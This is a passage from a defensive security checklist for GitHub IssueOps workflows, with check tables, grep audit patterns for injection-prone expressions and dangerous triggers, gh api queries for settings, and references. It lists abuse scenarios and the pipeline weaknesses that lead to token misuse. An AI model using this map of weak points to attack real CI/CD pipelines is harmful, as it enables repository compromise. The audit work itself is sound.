Search for secrets: inherit; review on.workflow_call.secrets |
| RW-06 | High | The reusable workflow does not load scripts, configuration, or allowlists from the checked-out workspace | Review for actions/checkout, require('./, file reads, and npm steps |
| RW-07 | High | The calling job sets explicit minimal permissions and caps cache access with cache-mode where supported; the reusable workflow sets permissions: {} and minimal job permissions |
Review both files |
| RW-08 | High | No credential is passed as an input, and no output carries a token | Review with: and on.workflow_call.outputs |
| RW-09 | High | The central repository's Actions access level is no wider than needed, and the central repository has rulesets and CODEOWNERS equal to or stricter than the IssueOps repository | Query the access level with the command in 18.10; check rulesets |
| RW-10 | High | workflow_dispatch inputs use choice, boolean, or number where possible, are read from inputs.*, default to safe values, and are validated in the workflow; the privileged job stays behind the approval environment |
Review the trigger and first job; dispatch through the API with an out-of-list value and confirm rejection |
| RW-11 | High | If OIDC is used in a reusable workflow, the cloud trust policy matches job_workflow_ref and an exact sub |
Review the federated credential or trust policy |
| ID | Severity | Check | How to verify |
|---|---|---|---|
| ID-01 | Critical | The write credential is a GitHub App installation token; no PAT is used, or each exception is documented with an owner and expiry | Search workflows and secrets for PAT names; review exceptions |
| ID-02 | Critical | The writer App private key exists only as an environment secret on the approval environment, not as a repository or organization secret | List repository, organization, and environment secrets with the commands in 18.10 |
| ID-03 | Critical | The write token is created only in jobs that reference the approval environment, and only after validation and digest checks | Review the order of steps in each privileged job |
| ID-04 | High | Every create-github-app-token step lists permission-* inputs and never sets skip-token-revoke |
Review each token step |
| ID-05 | High | Reader and writer identities are separate, and the reader App has no write permissions | Review both App permission pages |
| ID-06 | High | Installed App permissions match the endpoints used, webhooks are disabled, and installation scope is as narrow as the operations allow | Compare installed permissions with the endpoints' fine-grained permission tables |
| ID-07 | High | Private keys have an owner and a rotation schedule, and old keys are deleted after rotation | Check the App's private key list and rotation records |
| ID-08 | High | id-token: write is granted only to jobs that use OIDC |
Search for id-token |
| ID | Severity | Check | How to verify |
|---|---|---|---|
| AP-01 | Critical | The approval environment has required reviewers (a team), prevent self-review enabled, administrator bypass disabled, and deployment branches limited to the default branch | Query the environment and its branch policies with the commands in 18.10. Confirm administrator bypass in the environment settings page, and prove prevent self-review with a sandbox approval attempt |
| AP-02 | Critical | Approval is bound to content: the privileged job either re-fetches and compares the digest, or receives frozen inputs whose digest it recomputes | Run abuse scenarios "edit after submit" and "inputs do not match digest" |
| AP-03 | Critical | No privileged action is authorized by a label, author_association, or comment text alone |
Review every if: on privileged jobs |
| AP-04 | Critical | Only the issue author can submit; pull request comments and bot comments are ignored; the command must match exactly | Review the submit guard; run the related abuse scenarios |
| AP-05 | High | If comment-based approval is used: team membership is checked through the API, errors fail closed, and the approver cannot be the requester | Review the approval job; test with a non-member and with the requester |
| AP-06 | High | Reviewers see the validated values and digest on the run page before approving, and the runbook tells them to compare it with the issue | Open a pending run and confirm the job summary; review the runbook |
| AP-07 | High | The privileged job uses concurrency keyed on the request, and repeated submissions cannot create duplicates | Run abuse scenario "two submits in quick succession" |
| ID | Severity | Check | How to verify |
|---|---|---|---|
| RP-01 | Critical | Default-branch ruleset on the IssueOps and central repositories: pull request, at least two approvals, code owner review, required status checks, no force push or deletion, bypass limited to break-glass | Query rulesets with the command in 18.10 |
| RP-02 | Critical | CODEOWNERS covers workflows, issue templates, validators, helper scripts, package.json, the lockfile, and CODEOWNERS itself |
Review CODEOWNERS; open a test PR that touches each path and confirm the code owner request |
| RP-03 | Critical | Every action and reusable workflow is pinned to a full-length commit SHA, and the organization or enterprise SHA-pinning policy is enabled | Run the unpinned-reference search; check the Actions policy |
| RP-04 | Critical | Privileged jobs run on GitHub-hosted runners, or on ephemeral just-in-time self-hosted runners in a group restricted to these repositories | Review runs-on and runner group access |
| RP-05 | High | Allowed actions policy restricts actions to enterprise-owned and approved actions and reusable workflows | Check the organization Actions policy |
| RP-06 | High | Organization default GITHUB_TOKEN permission is read-only, and Actions cannot create or approve pull requests |
Query the organization workflow permissions |
| RP-07 | High | CodeQL analysis for GitHub Actions is enabled and required on the default branch | Check code scanning setup and the ruleset |
| RP-08 | High | Dependabot version updates are enabled for github-actions and npm, and advisories for SHA-pinned actions are reviewed |
Review .github/dependabot.yml and the advisory review record |
| RP-09 | High | Requesters have read access only; write access is limited to maintainers | Review repository access |
| RP-10 | High | Property-targeted rulesets and repository policies apply to every repository the automation creates, from creation | Create a sandbox repository through the flow and confirm the rulesets apply immediately |
| ID | Severity | Check | How to verify |
|---|---|---|---|
| EX-01 | Critical | Self-service cannot create public repositories, grant admin, delete, transfer, or change visibility to public; such operations are excluded or behind a separate environment and reviewer group |
Review the form, validators, apply code, and environments |
| EX-02 | High | Governance custom properties are set in the create call | Review the create call; inspect a sandbox-created repository |
| EX-03 | High | Partial failures are reported with the created resource and the failed step, and nothing is deleted automatically | Force a team-grant failure in the sandbox and check the issue comment |
| EX-04 | High | API calls use typed parameters; if a CLI is used, values come from environment variables and positional arguments follow -- |
Review privileged steps |
| ID | Severity | Check | How to verify |
|---|---|---|---|
| TE-01 | Critical | The injection payloads in 16.1 were run against every free-text field, the title, and every string input of reusable and dispatched workflows, with no execution or unexpected output | Link the sandbox test runs |
| TE-02 | Critical | Every abuse scenario in 16.2 produced the expected result | Link the sandbox test runs |
| TE-03 | High | Tests are repeated after every change to workflows, validators, reusable workflows, App permissions, or environment settings | Check that the change process requires it |
| MO-01 | High | Audit log streaming alerts on changes to environments, secrets, rulesets, Actions policies, App keys, and App permissions | Trigger a test change in the sandbox and confirm the alert |
| MO-02 | High | Each completed request records the approver, digest, and run link in the issue | Inspect a completed sandbox request |
| MO-03 | High | Repositories created outside the flow are detected and reviewed | Review the reconciliation report |
Run the searches from the root of each repository that contains workflows. They produce candidates for review, not verdicts.
# RP-03, RW-04: remote action or reusable workflow references not pinned to a 40-character SHA
grep -rnE '^\s*(-\s*)?uses:\s*[^./][^@[:space:]]+@' .github/workflows \
| grep -viE '@[0-9a-f]{40}([[:space:]]|$)'
# RP-03: container image references (check each is pinned by digest, @sha256:...)
grep -rnE 'uses:\s*docker://' .github/workflows
# RP-03, RW-06: local actions and workflows (confirm which repository they resolve from;
# in a reusable workflow, a local action can come from the caller's checkout)
grep -rnE 'uses:\s*\./' .github/workflows
# WF-01: every expression, for review inside run: and script: blocks
grep -rn '\${{' .github/workflows
# WF-01: narrower list of expressions over common untrusted contexts
grep -rnE '\$\{\{\s*(github\.event\.|github\.head_ref|inputs\.|steps\.[^}]*outputs|needs\.[^}]*outputs)' .github/workflows
# WF-02: writes to environment and output files
grep -rnE 'GITHUB_(ENV|PATH|OUTPUT)' .github/workflows
# WF-04, RW-05: dangerous triggers and secret inheritance
grep -rnE 'pull_request_target|workflow_run|secrets:\s*inherit' .github/workflows
# WF-03: workflow files without a top-level permissions block
grep -LE '^permissions:' .github/workflows/*.yml .github/workflows/*.yaml 2>/dev/null
# ID-04, ID-08: token steps and OIDC permissions
grep -rnE 'skip-token-revoke|id-token:' .github/workflowsSettings checks with the GitHub CLI (replace OWNER, REPO, and ORG; response fields can differ between GitHub Enterprise Server versions):
# AP-01: approval environment protection rules (required reviewers, prevent_self_review) and branch policy type
gh api repos/OWNER/REPO/environments/issueops-apply \
--jq '{rules: .protection_rules, branches: .deployment_branch_policy}'
# AP-01: the exact branch and tag patterns allowed to deploy (expect only the default branch)
gh api repos/OWNER/REPO/environments/issueops-apply/deployment-branch-policies \
--jq '.branch_policies[] | {name, type}'
# ID-02: where secrets live (the writer key must appear only in the environment list)
gh api repos/OWNER/REPO/actions/secrets --jq '.secrets[].name'
gh api orgs/ORG/actions/secrets --jq '.secrets[].name'
gh api repos/OWNER/REPO/environments/issueops-apply/secrets --jq '.secrets[].name'
# RP-01: rulesets on the repository
gh api repos/OWNER/REPO/rulesets
# RP-05, RP-03: organization Actions policy
gh api orgs/ORG/actions/permissions
# RP-05: when allowed_actions is "selected", the allowed patterns
gh api orgs/ORG/actions/permissions/selected-actions
# RW-09: access level of the central repository's actions and reusable workflows
gh api repos/CENTRAL_OWNER/CENTRAL_REPO/actions/permissions/access
# RP-06: default token permissions and pull request approval by Actions
gh api orgs/ORG/actions/permissions/workflow- IssueOps: Automate CI/CD (and more!) with GitHub Issues and Actions, GitHub Blog
- IssueOps documentation
- IssueOps: Workflow Security
- IssueOps: Best Practices
- IssueOps: Repository setup
- IssueOps: GitHub App setup
issue-ops/parserissue-ops/validatoractions/create-github-app-token
- Secure use reference
- GitHub Well-Architected: Securing GitHub Actions Workflows (commit
a30275b) - Deployments and environments
- Reuse workflows
- Reusing workflow configurations (reference)
- Workflow syntax:
on.workflow_callandon.workflow_dispatch.inputs - Events that trigger workflows
- Use
GITHUB_TOKENfor authentication in workflows - Syntax for issue forms
- Disabling or limiting GitHub Actions for your organization
- Authenticating as a GitHub App installation
- REST API: Create an organization repository
- REST API: Add or update team repository permissions
- REST API: Get team membership for a user
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
- Keeping your GitHub Actions and workflows secure Part 3: How to trust your building blocks
- Keeping your GitHub Actions and workflows secure Part 4: New vulnerability patterns and mitigation strategies